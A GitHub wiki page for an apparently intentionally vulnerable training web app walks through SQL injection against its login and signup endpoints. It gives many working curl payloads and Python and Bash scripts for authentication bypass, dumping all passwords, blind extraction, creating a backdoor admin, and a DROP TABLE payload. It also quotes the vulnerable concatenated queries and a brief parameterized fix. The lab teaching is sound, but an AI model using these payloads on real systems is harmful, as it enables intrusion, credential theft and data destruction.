SQL Injection - capstone-hermes/hermes-fullstack GitHub Wiki

SQL Injection Exploitation

Overview

The Weak Website contains multiple SQL injection vulnerabilities in its authentication and user management systems. These vulnerabilities exist due to the use of raw SQL queries with string concatenation instead of parameterized queries.

Vulnerable Code Locations

Authentication Service

File: server/src/modules/auth/auth.service.ts

// Line 24-26: Login SQL Injection
const user = await this.userRepository.query(
  `SELECT * FROM user WHERE email = '${email}' AND password = '${password}'`
);

// Line 69-71: Registration SQL Injection  
await this.userRepository.query(
  `INSERT INTO user (email, password, role) VALUES ('${email}', '${normalizedPassword}', 'user')`
);

Exploitation Techniques

1. Authentication Bypass

Basic SQL Injection

Target: /auth/login endpoint

Vulnerability: The login query concatenates user input directly into the SQL statement.

Payload Examples:

# Email field bypass
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\''--","password":"anything"}'

# Alternative bypasses
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' OR '\''1'\''='\''1'\''--","password":"ignore"}'

How it works:

-- Original query
SELECT * FROM user WHERE email = 'admin' AND password = 'anything'

-- Injected query (with admin'-- payload)
SELECT * FROM user WHERE email = 'admin'--' AND password = 'anything'
-- The -- comments out the password check

Advanced Boolean-based Injection

# Test if admin user exists
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT COUNT(*) FROM user WHERE email='\''admin'\'')>0--","password":"test"}'

# Extract password length
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT LENGTH(password) FROM user WHERE email='\''admin'\'')>10--","password":"test"}'

2. Union-based Data Extraction

Extract All Users

# Union injection to extract user data
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT id,email,password,role FROM user--","password":"ignore"}'

Resulting Query:

SELECT * FROM user WHERE email = '' UNION SELECT id,email,password,role FROM user--' AND password = 'ignore'

Extract Database Schema

# Get table names
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT table_name,null,null,null FROM information_schema.tables WHERE table_schema=database()--","password":"test"}'

# Get column names
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT column_name,null,null,null FROM information_schema.columns WHERE table_name='\''user'\''--","password":"test"}'

3. Blind SQL Injection

Time-based Detection

# Test for time-based injection
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT SLEEP(5))--","password":"test"}'

Character-by-character Extraction

# Extract first character of admin password
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT SUBSTRING(password,1,1) FROM user WHERE email='\''admin'\'')='\''p'\''--","password":"test"}'

# Binary search approach for efficiency
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM user WHERE email='\''admin'\'')>64--","password":"test"}'

4. Registration SQL Injection

Privilege Escalation

# Create admin user via registration
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]'\'',(SELECT '\''password123'\'','\''admin'\''))--","password":"ignored"}'

Resulting Query:

INSERT INTO user (email, password, role) VALUES ('[email protected]',(SELECT 'password123','admin'))--', 'normalizedPassword', 'user')

Database Manipulation

# Drop table (destructive - use with caution)
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]'\'',(SELECT '\''password'\'','\''user'\'')); DROP TABLE user;--","password":"anything"}'

Automated Exploitation Scripts

Python SQLMap Integration

#!/usr/bin/env python3
import requests
import json

def test_sql_injection(url, payload):
    """Test SQL injection payload"""
    data = {
        "email": payload,
        "password": "test"
    }
    
    response = requests.post(
        f"{url}/auth/login",
        json=data,
        headers={"Content-Type": "application/json"}
    )
    
    return response.json()

# Test payloads
payloads = [
    "admin'--",
    "admin' OR '1'='1'--",
    "' UNION SELECT id,email,password,role FROM user--",
    "admin' AND (SELECT COUNT(*) FROM user)>0--"
]

url = "http://localhost:8080"
for payload in payloads:
    result = test_sql_injection(url, payload)
    print(f"Payload: {payload}")
    print(f"Result: {result}")
    print("-" * 50)

Bash Exploitation Script

#!/bin/bash

BASE_URL="http://localhost:8080"
ENDPOINT="/auth/login"

echo "=== SQL Injection Test Suite ==="

# Test 1: Basic authentication bypass
echo "Test 1: Authentication Bypass"
curl -s -X POST "$BASE_URL$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\''--","password":"anything"}' | jq '.'

# Test 2: Union-based data extraction
echo -e "\nTest 2: Data Extraction"
curl -s -X POST "$BASE_URL$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT id,email,password,role FROM user--","password":"test"}' | jq '.'

# Test 3: Boolean-based blind injection
echo -e "\nTest 3: Blind Injection"
curl -s -X POST "$BASE_URL$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin'\'' AND (SELECT COUNT(*) FROM user WHERE email='\''admin'\'')>0--","password":"test"}' | jq '.'

echo -e "\n=== Test Complete ==="

Advanced Exploitation Scenarios

1. Multi-step Attack Chain

Step 1: Reconnaissance

# Enumerate users
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT GROUP_CONCAT(email),null,null,null FROM user--","password":"test"}'

Step 2: Password Extraction

# Extract all passwords
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT GROUP_CONCAT(CONCAT(email,'\'':\''',password)),null,null,null FROM user--","password":"test"}'

Step 3: Privilege Escalation

# Create backdoor admin account
curl -X POST http://localhost:8080/auth/signup \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]'\'',(SELECT '\''password123'\'','\''admin'\''))--","password":"ignored"}'

2. Database Schema Mapping

Extract Table Structure

# Get all tables
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT GROUP_CONCAT(table_name),null,null,null FROM information_schema.tables WHERE table_schema=database()--","password":"test"}'

# Get columns for each table
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT GROUP_CONCAT(CONCAT(table_name,'\''.'\'',column_name)),null,null,null FROM information_schema.columns WHERE table_schema=database()--","password":"test"}'

3. Post-Exploitation Activities

Data Exfiltration

# Extract all posts
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT GROUP_CONCAT(content),null,null,null FROM post--","password":"test"}'

# Extract sensitive system information
curl -X POST http://localhost:8080/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' UNION SELECT @@version,@@datadir,USER(),database()--","password":"test"}'

Defensive Measures (For Reference)

Proper Implementation Examples

Parameterized Queries

// Secure version (not implemented in vulnerable app)
async login(email: string, password: string) {
  const user = await this.userRepository.findOne({
    where: { email, password }  // TypeORM handles parameterization
  });
  
  // Or with raw queries
  const user = await this.userRepository.query(
    'SELECT * FROM user WHERE email = ? AND password = ?',
    [email, password]
  );
}

Input Validation

// Proper validation
@IsEmail()
@Length(1, 255)
email: string;

@IsString()
@Length(8, 128)
@Matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]/)
password: string;

Testing Methodology

1. Discovery Phase

Map all input fields and parameters
Identify database interaction points
Test for error-based information disclosure

2. Exploitation Phase

Start with basic injection tests
Escalate to union-based extraction
Attempt blind injection techniques
Test different SQL contexts

3. Post-Exploitation

Extract database schema
Dump sensitive data
Create persistent access
Document findings

Tools and Resources

Recommended Tools

SQLMap: Automated SQL injection testing
Burp Suite: Manual testing and payload generation
OWASP ZAP: Automated vulnerability scanning
Custom Scripts: Tailored to application specifics

Manual Testing Checklist

Authentication bypass
Union-based data extraction
Boolean-based blind injection
Time-based blind injection
Error-based information disclosure
Second-order injection
Registration manipulation
Database schema enumeration

Common Mistakes and Tips

Exploitation Tips

URL Encoding: Some payloads may need URL encoding
Quote Escaping: Pay attention to single vs double quotes
Comment Syntax: Use -- for MySQL, # also works
Response Analysis: Look for subtle changes in responses
Error Messages: Leverage verbose error messages

Troubleshooting

Check application logs for SQL errors
Verify database connection and permissions
Test with simple payloads first
Use browser developer tools for debugging

Next Steps:

Explore Cross-Site Scripting for client-side attacks
Learn about Authentication Bypass techniques
Review Testing Methodology for systematic approaches

Related Topics:

Parameter Pollution - Often combined with SQL injection
Command Injection - Similar injection principles
Path Traversal - File-based vulnerabilities